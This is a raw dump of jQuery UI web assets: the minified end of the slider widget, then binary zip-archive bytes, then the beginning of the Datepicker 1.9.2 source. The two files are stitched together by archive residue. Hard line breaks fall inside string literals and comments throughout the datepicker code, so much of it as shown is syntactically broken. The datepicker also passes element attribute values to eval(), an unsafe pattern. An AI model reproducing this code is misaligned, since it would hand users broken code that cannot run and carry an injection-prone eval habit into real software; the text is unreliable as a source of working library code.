this._hasMultipleValues()?this._values(e):this.value();for(s=this.options.values,n=arguments[0],o=0;s.length>o;o+=1)s[o]=this._trimAlignValue(n[o]),this._change(null,o);this._refreshValue()},_setOption:function(e,i){var
s,n=0;switch("range"===e&&this.options.range===!0&&("min"===i?(this.options.value=this._values(0),this.options.values=null):"max"===i&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),t.isArray(this.options.values)&&(n=this.options.values.length),this._super(e,i),e){case"orientation":this._detectOrientation(),this._removeClass("ui-slider-horizontal
ui-slider-vertical")._addClass("ui-slider-"+this.orientation),this._refreshValue(),this.options.range&&this._refreshRange(i),this.handles.css("horizontal"===i?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),s=n-1;s>=0;s--)this._change(null,s);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_setOptionDisabled:function(t){this._super(t),this._toggleClass(null,"ui-state-disabled",!!t)},_value:function(){var
t=this.options.value;return
t=this._trimAlignValue(t)},_values:function(t){var
e,i,s;if(arguments.length)return
e=this.options.values[t],e=this._trimAlignValue(e);if(this._hasMultipleValues()){for(i=this.options.values.slice(),s=0;i.length>s;s+=1)i[s]=this._trimAlignValue(i[s]);return
i}return[]},_trimAlignValue:function(t){if(this._valueMin()>=t)return
this._valueMin();if(t>=this._valueMax())return this._valueMax();var
e=this.options.step>0?this.options.step:1,i=(t-this._valueMin())%e,s=t-i;return
2*Math.abs(i)>=e&&(s+=i>0?e:-e),parseFloat(s.toFixed(5))},_calculateNewMax:function(){var
t=this.options.max,e=this._valueMin(),i=this.options.step,s=Math.round((t-e)/i)*i;t=s+e,t>this.options.max&&(t-=i),this.max=parseFloat(t.toFixed(this._precision()))},_precision:function(){var
t=this._precisionOf(this.options.step);return
null!==this.options.min&&(t=Math.max(t,this._precisionOf(this.options.min))),t},_precisionOf:function(t){var
e=""+t,i=e.indexOf(".");return-1===i?0:e.length-i-1},_valueMin:function(){return
this.options.min},_valueMax:function(){return
this.max},_refreshRange:function(t){"vertical"===t&&this.range.css({width:"",left:""}),"horizontal"===t&&this.range.css({height:"",bottom:""})},_refreshValue:function(){var
e,i,s,n,o,a=this.options.range,r=this.options,l=this,h=this._animateOff?!1:r.animate,c={};this._hasMultipleValues()?this.handles.each(function(s){i=100*((l.values(s)-l._valueMin())/(l._valueMax()-l._valueMin())),c["horizontal"===l.orientation?"left":"bottom"]=i+"%",t(this).stop(1,1)[h?"animate":"css"](c,r.animate),l.options.range===!0&&("horizontal"===l.orientation?(0===s&&l.range.stop(1,1)[h?"animate":"css"]({left:i+"%"},r.animate),1===s&&l.range[h?"animate":"css"]({width:i-e+"%"},{queue:!1,duration:r.animate})):(0===s&&l.range.stop(1,1)[h?"animate":"css"]({bottom:i+"%"},r.animate),1===s&&l.range[h?"animate":"css"]({height:i-e+"%"},{queue:!1,duration:r.animate}))),e=i}):(s=this.value(),n=this._valueMin(),o=this._valueMax(),i=o!==n?100*((s-n)/(o-n)):0,c["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[h?"animate":"css"](c,r.animate),"min"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({width:i+"%"},r.animate),"max"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({width:100-i+"%"},r.animate),"min"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({height:i+"%"},r.animate),"max"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({height:100-i+"%"},r.animate))},_handleEvents:{keydown:function(e){var
i,s,n,o,a=t(e.target).data("ui-slider-handle-index");switch(e.keyCode){case
t.ui.keyCode.HOME:case t.ui.keyCode.END:case t.ui.keyCode.PAGE_UP:case
t.ui.keyCode.PAGE_DOWN:case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:case
t.ui.keyCode.DOWN:case
t.ui.keyCode.LEFT:if(e.preventDefault(),!this._keySliding&&(this._keySliding=!0,this._addClass(t(e.target),null,"ui-state-active"),i=this._start(e,a),i===!1))return}switch(o=this.options.step,s=n=this._hasMultipleValues()?this.values(a):this.value(),e.keyCode){case
t.ui.keyCode.HOME:n=this._valueMin();break;case
t.ui.keyCode.END:n=this._valueMax();break;case
t.ui.keyCode.PAGE_UP:n=this._trimAlignValue(s+(this._valueMax()-this._valueMin())/this.numPages);break;case
t.ui.keyCode.PAGE_DOWN:n=this._trimAlignValue(s-(this._valueMax()-this._valueMin())/this.numPages);break;case
t.ui.keyCode.UP:case
t.ui.keyCode.RIGHT:if(s===this._valueMax())return;n=this._trimAlignValue(s+o);break;case
t.ui.keyCode.DOWN:case
t.ui.keyCode.LEFT:if(s===this._valueMin())return;n=this._trimAlignValue(s-o)}this._slide(e,a,n)},keyup:function(e){var
i=t(e.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(e,i),this._change(e,i),this._removeClass(t(e.target),null,"ui-state-active"))}}})});PK�v�[
���-�-!assets/js/jquery.ui.datepicker.jsnu�[���/*!
* jQuery UI Datepicker 1.9.2
* http://jqueryui.com
*
* Copyright 2012 jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*
* http://api.jqueryui.com/datepicker/
*
* Depends:
* jquery.ui.core.js
*/
(function( $, undefined ) {
$.extend($.ui, { datepicker: { version: "1.9.2" } });
var PROP_NAME = 'datepicker';
var dpuuid = new Date().getTime();
var instActive;
/* Date picker manager.
Use the singleton instance of this class, $.datepicker, to interact with
the date picker.
Settings for (groups of) date pickers are maintained in an instance
object,
allowing multiple different settings on the same page. */
function Datepicker() {
this.debug = false; // Change this to true to start debugging
this._curInst = null; // The current instance in use
this._keyEvent = false; // If the last event was a key event
this._disabledInputs = []; // List of date picker inputs that have been
disabled
this._datepickerShowing = false; // True if the popup picker is showing ,
false if not
this._inDialog = false; // True if showing within a "dialog",
false if not
this._mainDivId = 'ui-datepicker-div'; // The ID of the main
datepicker division
this._inlineClass = 'ui-datepicker-inline'; // The name of the
inline marker class
this._appendClass = 'ui-datepicker-append'; // The name of the
append marker class
this._triggerClass = 'ui-datepicker-trigger'; // The name of the
trigger marker class
this._dialogClass = 'ui-datepicker-dialog'; // The name of the
dialog marker class
this._disableClass = 'ui-datepicker-disabled'; // The name of
the disabled covering marker class
this._unselectableClass = 'ui-datepicker-unselectable'; // The
name of the unselectable cell marker class
this._currentClass = 'ui-datepicker-current-day'; // The name of
the current day marker class
this._dayOverClass = 'ui-datepicker-days-cell-over'; // The name
of the day hover marker class
this.regional = []; // Available regional settings, indexed by language
code
this.regional[''] = { // Default regional settings
closeText: 'Done', // Display text for close link
prevText: 'Prev', // Display text for previous month link
nextText: 'Next', // Display text for next month link
currentText: 'Today', // Display text for current month link
monthNames:
['January','February','March','April','May','June',
'July','August','September','October','November','December'],
// Names of months for drop-down and formatting
monthNamesShort: ['Jan', 'Feb', 'Mar',
'Apr', 'May', 'Jun', 'Jul',
'Aug', 'Sep', 'Oct', 'Nov',
'Dec'], // For formatting
dayNames: ['Sunday', 'Monday', 'Tuesday',
'Wednesday', 'Thursday', 'Friday',
'Saturday'], // For formatting
dayNamesShort: ['Sun', 'Mon', 'Tue',
'Wed', 'Thu', 'Fri', 'Sat'], // For
formatting
dayNamesMin:
['Su','Mo','Tu','We','Th','Fr','Sa'],
// Column headings for days starting at Sunday
weekHeader: 'Wk', // Column header for week of the year
dateFormat: 'mm/dd/yy', // See format options on parseDate
firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ...
isRTL: false, // True if right-to-left language, false if left-to-right
showMonthAfterYear: false, // True if the year select precedes month,
false for month then year
yearSuffix: '' // Additional text to append to the year in the
month headers
};
this._defaults = { // Global defaults for all the date picker instances
showOn: 'focus', // 'focus' for popup on focus,
// 'button' for trigger button, or 'both' for either
showAnim: 'fadeIn', // Name of jQuery animation for popup
showOptions: {}, // Options for enhanced animations
defaultDate: null, // Used when field is blank: actual date,
// +/-number for offset from today, null for today
appendText: '', // Display text following the input box, e.g.
showing the format
buttonText: '...', // Text for trigger button
buttonImage: '', // URL for trigger button image
buttonImageOnly: false, // True if the image appears alone, false if it
appears on a button
hideIfNoPrevNext: false, // True to hide next/previous month links
// if not applicable, false to just disable them
navigationAsDateFormat: false, // True if date formatting applied to
prev/today/next links
gotoCurrent: false, // True if today link goes back to current selection
instead
changeMonth: false, // True if month can be selected directly, false if
only prev/next
changeYear: false, // True if year can be selected directly, false if
only prev/next
yearRange: 'c-10:c+10', // Range of years to display in
drop-down,
// either relative to today's year (-nn:+nn), relative to currently
displayed year
// (c-nn:c+nn), absolute (nnnn:nnnn), or a combination of the above
(nnnn:-n)
showOtherMonths: false, // True to show dates in other months, false to
leave blank
selectOtherMonths: false, // True to allow selection of dates in other
months, false for unselectable
showWeek: false, // True to show week of the year, false to not show it
calculateWeek: this.iso8601Week, // How to calculate the week of the
year,
// takes a Date and returns the number of the week for it
shortYearCutoff: '+10', // Short year values < this are in
the current century,
// > this are in the previous century,
// string value starting with '+' for current year + value
minDate: null, // The earliest selectable date, or null for no limit
maxDate: null, // The latest selectable date, or null for no limit
duration: 'fast', // Duration of display/closure
beforeShowDay: null, // Function that takes a date and returns an array
with
// [0] = true if selectable, false if not, [1] = custom CSS class
name(s) or '',
// [2] = cell title (optional), e.g. $.datepicker.noWeekends
beforeShow: null, // Function that takes an input field and
// returns a set of custom settings for the date picker
onSelect: null, // Define a callback function when a date is selected
onChangeMonthYear: null, // Define a callback function when the month or
year is changed
onClose: null, // Define a callback function when the datepicker is
closed
numberOfMonths: 1, // Number of months to show at a time
showCurrentAtPos: 0, // The position in multipe months at which to show
the current month (starting at 0)
stepMonths: 1, // Number of months to step back/forward
stepBigMonths: 12, // Number of months to step back/forward for the big
links
altField: '', // Selector for an alternate field to store
selected dates into
altFormat: '', // The date format to use for the alternate
field
constrainInput: true, // The input is constrained by the current date
format
showButtonPanel: false, // True to show button panel, false to not show
it
autoSize: false, // True to size the input for the date format, false to
leave as is
disabled: false // The initial disabled state
};
$.extend(this._defaults, this.regional['']);
this.dpDiv = bindHover($('<div id="' + this._mainDivId +
'" class="ui-datepicker ui-widget ui-widget-content
ui-helper-clearfix ui-corner-all"></div>'));
}
$.extend(Datepicker.prototype, {
/* Class name added to elements to indicate already configured with a date
picker. */
markerClassName: 'hasDatepicker',
//Keep track of the maximum number of rows displayed (see #7043)
maxRows: 4,
/* Debug logging (if enabled). */
log: function () {
if (this.debug)
console.log.apply('', arguments);
},
// TODO rename to "widget" when switching to widget factory
_widgetDatepicker: function() {
return this.dpDiv;
},
/* Override the default settings for all instances of the date picker.
@param settings object - the new settings to use as defaults
(anonymous object)
@return the manager object */
setDefaults: function(settings) {
extendRemove(this._defaults, settings || {});
return this;
},
/* Attach the date picker to a jQuery selection.
@param target element - the target input field or division or span
@param settings object - the new settings to use for this date picker
instance (anonymous) */
_attachDatepicker: function(target, settings) {
// check for settings on the control itself - in namespace
'date:'
var inlineSettings = null;
for (var attrName in this._defaults) {
var attrValue = target.getAttribute('date:' + attrName);
if (attrValue) {
inlineSettings = inlineSettings || {};
try {
inlineSettings[attrName] = eval(attrValue);
} catch (err) {
inlineSettings[attrName] = attrValue;
}
}
}
var nodeName = target.nodeName.toLowerCase();
var inline = (nodeName == 'div' || nodeName ==
'span');
if (!target.id) {
this.uuid += 1;
target.id = 'dp' + this.uuid;
}
var inst = this._newInst($(target), inline);
inst.settings = $.extend({}, settings || {}, inlineSettings || {});
if (nodeName == 'input') {
this._connectDatepicker(target, inst);
} else if (inline) {
this._inlineDatepicker(target, inst);
}
},
/* Create a new instance object. */
_newInst: function(target, inline) {
var id = target[0].id.replace(/([^A-Za-z0-9_-])/g, '\\\\$1');
// escape jQuery meta chars
return {id: id, input: target, // associated target
selectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection
drawMonth: 0, drawYear: 0, // month being drawn
inline: inline, // is datepicker inline or not
dpDiv: (!inline ? this.dpDiv : // presentation div
bindHover($('<div class="' + this._inlineClass +
' ui-datepicker ui-widget ui-widget-content ui-helper-clearfix
ui-corner-all"></div>')))};
},
/* Attach the date picker to an input field. */
_connectDatepicker: function(target, inst) {
var input = $(target);
inst.append = $([]);
inst.trigger = $([]);
if (input.hasClass(this.markerClassName))
return;
this._attachments(input, inst);
input.addClass(this.markerClassName).keydown(this._doKeyDown).
keypress(this._doKeyPress).keyup(this._doKeyUp).
bind("setData.datepicker", function(event, key, value) {
inst.settings[key] = value;
}).bind("getData.datepicker", function(event, key) {
return this._get(inst, key);
});
this._autoSize(inst);
$.data(target, PROP_NAME, inst);
//If disabled option is true, disable the datepicker once it has been
attached to the input (see ticket #5665)
if( inst.settings.disabled ) {
this._disableDatepicker( target );
}
},
/* Make attachments based on settings. */
_attachments: function(input, inst) {
var appendText = this._get(inst, 'appendText');
var isRTL = this._get(inst, 'isRTL');
if (inst.append)
inst.append.remove();
if (appendText) {
inst.append = $('<span class="' + this._appendClass +
'">' + appendText + '</span>');
input[isRTL ? 'before' : 'after'](inst.append);
}
input.unbind('focus', this._showDatepicker);
if (inst.trigger)
inst.trigger.remove();
var showOn = this._get(inst, 'showOn');
if (showOn == 'focus' || showOn == 'both') // pop-up
date picker when in the marked field
input.focus(this._showDatepicker);
if (showOn == 'button' || showOn == 'both') { //
pop-up date picker when button clicked
var buttonText = this._get(inst, 'buttonText');
var buttonImage = this._get(inst, 'buttonImage');
inst.trigger = $(this._get(inst, 'buttonImageOnly') ?
$('<img/>').addClass(this._triggerClass).
attr({ src: buttonImage, alt: buttonText, title: buttonText }) :
$('<button
type="button"></button>').addClass(this._triggerClass).
html(buttonImage == '' ? buttonText :
$('<img/>').attr(
{ src:buttonImage, alt:buttonText, title:buttonText })));
input[isRTL ? 'before' : 'after'](inst.trigger);
inst.trigger.click(function() {
if ($.datepicker._datepickerShowing && $.datepicker._lastInput
== input[0])
$.datepicker._hideDatepicker();
else if ($.datepicker._datepickerShowing &&
$.datepicker._lastInput != input[0]) {
$.datepicker._hideDatepicker();
$.datepicker._showDatepicker(input[0]);
} else
$.datepicker._showDatepicker(input[0]);
return false;
});
}
},
/* Apply the maximum length for the date format. */
_autoSize: function(inst) {
if (this._get(inst, 'autoSize') && !inst.inline) {
var date = new Date(2009, 12 - 1, 20); // Ensure double digits
var dateFormat = this._get(inst, 'dateFormat');
if (dateFormat.match(/[DM]/)) {
var findMax = function(names) {
var max = 0;
var maxI = 0;
for (var i = 0; i < names.length; i++) {
if (names[i].length > max) {
max = names[i].length;
maxI = i;
}
}
return maxI;
};
date.setMonth(findMax(this._get(inst, (dateFormat.match(/MM/) ?
'monthNames' : 'monthNamesShort'))));
date.setDate(findMax(this._get(inst, (dateFormat.match(/DD/) ?
'dayNames' : 'dayNamesShort'))) + 20 -
date.getDay());
}
inst.input.attr('size', this._formatDate(inst, date).length);
}
},
/* Attach an inline date picker to a div. */
_inlineDatepicker: function(target, inst) {
var divSpan = $(target);
if (divSpan.hasClass(this.markerClassName))
return;
divSpan.addClass(this.markerClassName).append(inst.dpDiv).
bind("setData.datepicker", function(event, key, value){
inst.settings[key] = value;
}).bind("getData.datepicker", function(event, key){
return this._get(inst, key);
});
$.data(target, PROP_NAME, inst);
this._setDate(inst, this._getDefaultDate(inst), true);
this._updateDatepicker(inst);
this._updateAlternate(inst);
//If disabled option is true, disable the datepicker before showing it
(see ticket #5665)
if( inst.settings.disabled ) {
this._disableDatepicker( target );
}
// Set display:block in place of inst.dpDiv.show() which won't work
on disconnected elements
// http://bugs.jqueryui.com/ticket/7552 - A Datepicker created on a
detached div has zero height
inst.dpDiv.css( "display", "block" );
},
/* Pop-up the date picker in a "dialog" box.
@param input element - ignored
@param date string or Date - the initial date to display
@param onSelect function - the function to call when a date is
selected
@param settings object - update the dialog date picker
instance's settings (anonymous object)
@param pos int[2] - coordinates for the dialog's position
within the screen or
event - with x/y coordinates or
leave empty for default (screen centre)
@return the manager object */
_dialogDatepicker: function(input, date, onSelect, settings, pos) {
var inst = this._dialogInst; // internal instance
if (!inst) {
this.uuid += 1;
var id = 'dp' + this.uuid;
this._dialogInput = $('<input type="text"
id="' + id +
'" style="position: absolute; top: -100px; width:
0px;"/>');
this._dialogInput.keydown(this._doKeyDown);
$('body').append(this._dialogInput);
inst = this._dialogInst = this._newInst(this._dialogInput, false);
inst.settings = {};
$.data(this._dialogInput[0], PROP_NAME, inst);
}
extendRemove(inst.settings, settings || {});
date = (date && date.constructor == Date ? this._formatDate(inst,
date) : date);
this._dialogInput.val(date);
this._pos = (pos ? (pos.length ? pos : [pos.pageX, pos.pageY]) : null);
if (!this._pos) {
var browserWidth = document.documentElement.clientWidth;
var browserHeight = document.documentElement.clientHeight;
var scrollX = document.documentElement.scrollLeft ||
document.body.scrollLeft;
var scrollY = document.documentElement.scrollTop ||
document.body.scrollTop;
this._pos = // should use actual width/height below
[(browserWidth / 2) - 100 + scrollX, (browserHeight / 2) - 150 +
scrollY];
}
// move input on screen for focus, but hidden behind dialog
this._dialogInput.css('left', (this._pos[0] + 20) +
'px').css('top', this._pos[1] + 'px');
inst.settings.onSelect = onSelect;
this._inDialog = true;
this.dpDiv.addClass(this._dialogClass);
this._showDatepicker(this._dialogInput[0]);
if ($.blockUI)
$.blockUI(this.dpDiv);
$.data(this._dialogInput[0], PROP_NAME, inst);
return this;
},
/* Detach a datepicker from its control.
@param target element - the target input field or division or span
*/
_destroyDatepicker: function(target) {
var $target = $(target);
var inst = $.data(target, PROP_NAME);
if (!$target.hasClass(this.markerClassName)) {
return;
}
var nodeName = target.nodeName.toLowerCase();
$.removeData(target, PROP_NAME);
if (nodeName == 'input') {
inst.append.remove();
inst.trigger.remove();
$target.removeClass(this.markerClassName).
unbind('focus', this._showDatepicker).
unbind('keydown', this._doKeyDown).
unbind('keypress', this._doKeyPress).
unbind('keyup', this._doKeyUp);
} else if (nodeName == 'div' || nodeName == 'span')
$target.removeClass(this.markerClassName).empty();
},
/* Enable the date picker to a jQuery selection.
@param target element - the target input field or division or span
*/
_enableDatepicker: function(target) {
var $target = $(target);
var inst = $.data(target, PROP_NAME);
if (!$target.hasClass(this.markerClassName)) {
return;
}
var nodeName = target.nodeName.toLowerCase();
if (nodeName == 'input') {
target.disabled = false;
inst.trigger.filter('button').
each(function() { this.disabled = false; }).end().
filter('img').css({opacity: '1.0', cursor:
''});
}
else if (nodeName == 'div' || nodeName == 'span') {
var inline = $target.children('.' + this._inlineClass);
inline.children().removeClass('ui-state-disabled');
inline.find("select.ui-datepicker-month,
select.ui-datepicker-year").
prop("disabled", false);
}
this._disabledInputs = $.map(this._disabledInputs,
function(value) { return (value == target ? null : value); }); // delete
entry
},
/* Disable the date picker to a jQuery selection.
@param target element - the target input field or division or span
*/
_disableDatepicker: function(target) {
var $target = $(target);
var inst = $.data(target, PROP_NAME);
if (!$target.hasClass(this.markerClassName)) {
return;
}
var nodeName = target.nodeName.toLowerCase();
if (nodeName == 'input') {
target.disabled = true;
inst.trigger.filter('button').
each(function() { this.disabled = true; }).end().
filter('img').css({opacity: '0.5', cursor:
'default'});
}
else if (nodeName == 'div' || nodeName == 'span') {
var inline = $target.children('.' + this._inlineClass);
inline.children().addClass('ui-state-disabled');
inline.find("select.ui-datepicker-month,
select.ui-datepicker-year").
prop("disabled", true);
}
this._disabledInputs = $.map(this._disabledInputs,
function(value) { return (value == target ? null : value); }); // delete
entry
this._disabledInputs[this._disabledInputs.length] = target;
},
/* Is the first field in a jQuery collection disabled as a datepicker?
@param target element - the target input field or division or span
@return boolean - true if disabled, false if enabled */
_isDisabledDatepicker: function(target) {
if (!target) {
return false;
}
for (var i = 0; i < this._disabledInputs.length; i++) {
if (this._disabledInputs[i] == target)
return true;
}
return false;
},
/* Retrieve the instance data for the target control.
@param target element - the target input field or division or span
@return object - the associated instance data
@throws error if a jQuery problem getting data */
_getInst: function(target) {
try {
return $.data(target, PROP_NAME);
}
catch (err) {
throw 'Missing instance data for this datepicker';
}
},
/* Update or retrieve the settings for a date picker attached to an input
field or division.
@param target element - the target input field or division or span
@param name object - the new settings to update or
string - the name of the setting to change or retrieve,
when retrieving also 'all' for all instance
settings or
'defaults' for all global defaults
@param value any - the new value for the setting
(omit if above is an object or to retrieve a value) */
_optionDatepicker: function(target, name, value) {
var inst = this._getInst(target);
if (arguments.length == 2 && typeof name == 'string') {
return (name == 'defaults' ? $.extend({},
$.datepicker._defaults) :
(inst ? (name == 'all' ? $.extend({}, inst.settings) :
this._get(inst, name)) : null));
}
var settings = name || {};
if (typeof name == 'string') {
settings = {};
settings[name] = value;
}
if (inst) {
if (this._curInst == inst) {
this._hideDatepicker();
}
var date = this._getDateDatepicker(target, true);
var minDate = this._getMinMaxDate(inst, 'min');
var maxDate = this._getMinMaxDate(inst, 'max');
extendRemove(inst.settings, settings);
// reformat the old minDate/maxDate values if dateFormat changes and a
new minDate/maxDate isn't provided
if (minDate !== null && settings['dateFormat'] !==
undefined && settings['minDate'] === undefined)
inst.settings.minDate = this._formatDate(inst, minDate);
if (maxDate !== null && settings['dateFormat'] !==
undefined && settings['maxDate'] === undefined)
inst.settings.maxDate = this._formatDate(inst, maxDate);
this._attachments($(target), inst);
this._autoSize(inst);
this._setDate(inst, date);
this._updateAlternate(inst);
this._updateDatepicker(inst);
}
},
// change method deprecated
_changeDatepicker: function(target, name, value) {
this._optionDatepicker(target, name, value);
},
/* Redraw the date picker attached to an input field or division.
@param target element - the target input field or division or span */
_refreshDatepicker: function(target) {
var inst = this._getInst(target);
if (inst) {
this._updateDatepicker(inst);
}
},
/* Set the dates for a jQuery selection.
@param target element - the target input field or division or span
@param date Date - the new date */
_setDateDatepicker: function(target, date) {
var inst = this._getInst(target);
if (inst) {
this._setDate(inst, date);
this._updateDatepicker(inst);
this._updateAlternate(inst);
}
},
/* Get the date(s) for the first entry in a jQuery selection.
@param target element - the target input field or division or span
@param noDefault boolean - true if no default date is to be used
@return Date - the current date */
_getDateDatepicker: function(target, noDefault) {
var inst = this._getInst(target);
if (inst && !inst.inline)
this._setDateFromField(inst, noDefault);
return (inst ? this._getDate(inst) : null);
},
/* Handle keystrokes. */
_doKeyDown: function(event) {
var inst = $.datepicker._getInst(event.target);
var handled = true;
var isRTL = inst.dpDiv.is('.ui-datepicker-rtl');
inst._keyEvent = true;
if ($.datepicker._datepickerShowing)
switch (event.keyCode) {
case 9: $.datepicker._hideDatepicker();
handled = false;
break; // hide on tab out
case 13: var sel = $('td.' + $.datepicker._dayOverClass +
':not(.' +
$.datepicker._currentClass + ')', inst.dpDiv);
if (sel[0])
$.datepicker._selectDay(event.target, inst.selectedMonth,
inst.selectedYear, sel[0]);
var onSelect = $.datepicker._get(inst, 'onSelect');
if (onSelect) {
var dateStr = $.datepicker._formatDate(inst);
// trigger custom callback
onSelect.apply((inst.input ? inst.input[0] : null), [dateStr,
inst]);
}
else
$.datepicker._hideDatepicker();
return false; // don't submit the form
break; // select the value on enter
case 27: $.datepicker._hideDatepicker();
break; // hide on escape
case 33: $.datepicker._adjustDate(event.target, (event.ctrlKey ?
-$.datepicker._get(inst, 'stepBigMonths') :
-$.datepicker._get(inst, 'stepMonths')), 'M');
break; // previous month/year on page up/+ ctrl
case 34: $.datepicker._adjustDate(event.target, (event.ctrlKey ?
+$.datepicker._get(inst, 'stepBigMonths') :
+$.datepicker._get(inst, 'stepMonths')), 'M');
break; // next month/year on page down/+ ctrl
case 35: if (event.ctrlKey || event.metaKey)
$.datepicker._clearDate(event.target);
handled = event.ctrlKey || event.metaKey;
break; // clear on ctrl or command +end
case 36: if (event.ctrlKey || event.metaKey)
$.datepicker._gotoToday(event.target);
handled = event.ctrlKey || event.metaKey;
break; // current on ctrl or command +home
case 37: if (event.ctrlKey || event.metaKey)
$.datepicker._adjustDate(event.target, (isRTL ? +1 : -1), 'D');
handled = event.ctrlKey || event.metaKey;
// -1 day on ctrl or command +left
if (event.originalEvent.altKey)
$.datepicker._adjustDate(event.target, (event.ctrlKey ?
-$.datepicker._get(inst, 'stepBigMonths') :
-$.datepicker._get(inst, 'stepMonths')), 'M');
// next month/year on alt +left on Mac
break;
case 38: if (event.ctrlKey || event.metaKey)
$.datepicker._adjustDate(event.target, -7, 'D');
handled = event.ctrlKey || event.metaKey;
break; // -1 week on ctrl or command +up
case 39: if (event.ctrlKey || event.metaKey)
$.datepicker._adjustDate(event.target, (isRTL ? -1 : +1), 'D');
handled = event.ctrlKey || event.metaKey;
// +1 day on ctrl or command +right
if (event.originalEvent.altKey)
$.datepicker._adjustDate(event.target, (event.ctrlKey ?
+$.datepicker._get(inst, 'stepBigMonths') :
+$.datepicker._get(inst, 'stepMonths')), 'M');
// next month/year on alt +right
break;
case 40: if (event.ctrlKey || event.metaKey)
$.datepicker._adjustDate(event.target, +7, 'D');
handled = event.ctrlKey || event.metaKey;
break; // +1 week on ctrl or command +down
default: handled = false;
}
else if (event.keyCode == 36 && event.ctrlKey) // display the
date picker on ctrl+home
$.datepicker._showDatepicker(this);
else {
handled = false;
}
if (handled) {
event.preventDefault();
event.stopPropagation();
}
},
/* Filter entered characters - based on date format. */
_doKeyPress: function(event) {
var inst = $.datepicker._getInst(event.target);
if ($.datepicker._get(inst, 'constrainInput')) {
var chars = $.datepicker._possibleChars($.datepicker._get(inst,
'dateFormat'));
var chr = String.fromCharCode(event.charCode == undefined ?
event.keyCode : event.charCode);
return event.ctrlKey || event.metaKey || (chr < ' ' ||
!chars || chars.indexOf(chr) > -1);
}
},
/* Synchronise manual entry and field/alternate field. */
_doKeyUp: function(event) {
var inst = $.datepicker._getInst(event.target);
if (inst.input.val() != inst.lastVal) {
try {
var date = $.datepicker.parseDate($.datepicker._get(inst,
'dateFormat'),
(inst.input ? inst.input.val() : null),
$.datepicker._getFormatConfig(inst));
if (date) { // only if valid
$.datepicker._setDateFromField(inst);
$.datepicker._updateAlternate(inst);
$.datepicker._updateDatepicker(inst);
}
}
catch (err) {
$.datepicker.log(err);
}
}
return true;
},
/* Pop-up the date picker for a given input field.
If false returned from beforeShow event handler do not show.
@param input element - the input field attached to the date picker or
event - if triggered by focus */
_showDatepicker: function(input) {
input = input.target || input;
if (input.nodeName.toLowerCase() != 'input') // find from
button/image trigger
input = $('input', input.parentNode)[0];
if ($.datepicker._isDisabledDatepicker(input) || $.datepicker._lastInput
== input) // already here
return;
var inst = $.datepicker._getInst(input);
if ($.datepicker._curInst && $.datepicker._curInst != inst) {
$.datepicker._curInst.dpDiv.stop(true, true);
if ( inst && $.datepicker._datepickerShowing ) {
$.datepicker._hideDatepicker( $.datepicker._curInst.input[0] );
}
}
var beforeShow = $.datepicker._get(inst, 'beforeShow');
var beforeShowSettings = beforeShow ? beforeShow.apply(input, [input,
inst]) : {};
if(beforeShowSettings === false){
//false
return;
}
extendRemove(inst.settings, beforeShowSettings);
inst.lastVal = null;
$.datepicker._lastInput = input;
$.datepicker._setDateFromField(inst);
if ($.datepicker._inDialog) // hide cursor
input.value = '';
if (!$.datepicker._pos) { // position below input
$.datepicker._pos = $.datepicker._findPos(input);
$.datepicker._pos[1] += input.offsetHeight; // add the height
}
var isFixed = false;
$(input).parents().each(function() {
isFixed |= $(this).css('position') == 'fixed';
return !isFixed;
});
var offset = {left: $.datepicker._pos[0], top: $.datepicker._pos[1]};
$.datepicker._pos = null;
//to avoid flashes on Firefox
inst.dpDiv.empty();
// determine sizing offscreen
inst.dpDiv.css({position: 'absolute', display:
'block', top: '-1000px'});
$.datepicker._updateDatepicker(inst);
// fix width for dynamic number of date pickers
// and adjust position before showing
offset = $.datepicker._checkOffset(inst, offset, isFixed);
inst.dpDiv.css({position: ($.datepicker._inDialog && $.blockUI ?
'static' : (isFixed ? 'fixed' :
'absolute')), display: 'none',
left: offset.left + 'px', top: offset.top + 'px'});
if (!inst.inline) {
var showAnim = $.datepicker._get(inst, 'showAnim');
var duration = $.datepicker._get(inst, 'duration');
var postProcess = function() {
var cover = inst.dpDiv.find('iframe.ui-datepicker-cover'); //
IE6- only
if( !! cover.length ){
var borders = $.datepicker._getBorders(inst.dpDiv);
cover.css({left: -borders[0], top: -borders[1],
width: inst.dpDiv.outerWidth(), height: inst.dpDiv.outerHeight()});
}
};
inst.dpDiv.zIndex($(input).zIndex()+1);
$.datepicker._datepickerShowing = true;
// DEPRECATED: after BC for 1.8.x $.effects[ showAnim ] is not needed
if ( $.effects && ( $.effects.effect[ showAnim ] || $.effects[
showAnim ] ) )
inst.dpDiv.show(showAnim, $.datepicker._get(inst,
'showOptions'), duration, postProcess);
else
inst.dpDiv[showAnim || 'show']((showAnim ? duration : null),
postProcess);
if (!showAnim || !duration)
postProcess();
if (inst.input.is(':visible') &&
!inst.input.is(':disabled'))
inst.input.focus();
$.datepicker._curInst = inst;
}
},
/* Generate the date picker content. */
_updateDatepicker: function(inst) {
this.maxRows = 4; //Reset the max number of rows being displayed (see
#7043)
var borders = $.datepicker._getBorders(inst.dpDiv);
instActive = inst; // for delegate hover events
inst.dpDiv.empty().append(this._generateHTML(inst));
this._attachHandlers(inst);
var cover = inst.dpDiv.find('iframe.ui-datepicker-cover'); //
IE6- only
if( !!cover.length ){ //avoid call to outerXXXX() when not in IE6
cover.css({left: -borders[0], top: -borders[1], width:
inst.dpDiv.outerWidth(), height: inst.dpDiv.outerHeight()})
}
inst.dpDiv.find('.' + this._dayOverClass + '
a').mouseover();
var numMonths = this._getNumberOfMonths(inst);
var cols = numMonths[1];
var width = 17;
